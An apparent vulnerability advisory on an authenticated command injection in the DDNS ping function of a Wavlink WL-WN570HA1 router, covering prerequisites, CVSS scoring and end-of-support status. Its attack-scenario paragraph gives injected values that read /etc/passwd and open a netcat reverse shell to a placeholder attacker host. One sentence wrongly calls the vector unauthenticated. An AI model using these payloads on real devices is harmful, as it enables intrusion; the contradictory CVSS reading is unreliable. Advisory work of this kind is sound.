Wavlink WL-WN570HA1 EUVD-2026-26831

Authentication to the device's web interface is required (CVSS PR:L confirms this). The attack targets the ping_ddns function in /cgi-bin/adm.cgi, meaning that DDNS-related configuration pages must be accessible or the function must be callable via direct HTTP request. The vulnerability is exploitable on firmware version R70HA1 V1410_221110 specifically; other firmware versions of the WL-WN570HA1 or other Wavlink models are not confirmed affected. No special device configuration beyond default CGI script installation is required. The authenticated status requirement is a significant limiting factor: the attacker must possess valid login credentials, which are often default (admin/admin or similar) but still constitute a barrier compared to unauthenticated attacks. Exploitation is not prevented by non-default settings or disabled features-it depends only on valid authentication and network reachability of the web interface.

While the CVSS score of 2.1 reflects low severity, the risk assessment reveals conflicting signals that require careful interpretation. The CVSS vector (AV:N/AC:L/PR:L) indicates network-accessible unauthenticated exploitation with low attack complexity, but the authentication requirement (PR:L) significantly limits practical risk compared to unauthenticated exploits. The CVSS impact scores are all L (low confidentiality, integrity, and availability impact), consistent with the low overall score. The presence of public exploit code (E:P notation) indicates proof-of-concept availability. However, the critical limiting factor is vendor confirmation that firmware version R70HA1 V1410_221110 has been removed from distribution and is no longer supported-this is not a hypothetical end-of-life scenario but an already-discontinued product line. The real-world exploitation potential is therefore constrained to legacy deployments of unsupported hardware that may exist in isolated environments. The low CVSS score paired with end-of-support status suggests this is primarily a legacy/retained-risk issue rather than an active threat to current deployments. Organizations running this exact firmware version face genuine risk, but the attack surface is inherently shrinking as devices age out of service.

An attacker with valid credentials to the device's web interface navigates to /cgi-bin/adm.cgi and crafts an HTTP request that manipulates the DDNS parameter with shell metacharacters (e.g., ; cat /etc/passwd or | nc attacker.com 4444 </bin/sh). The ping_ddns function executes the injected command with the privileges of the web service, allowing the attacker to read files, execute reverse shells, or reconfigure the device. Because authentication is required (PR:L), this scenario assumes the attacker has already obtained valid credentials through default credentials, credential reuse, or prior compromise.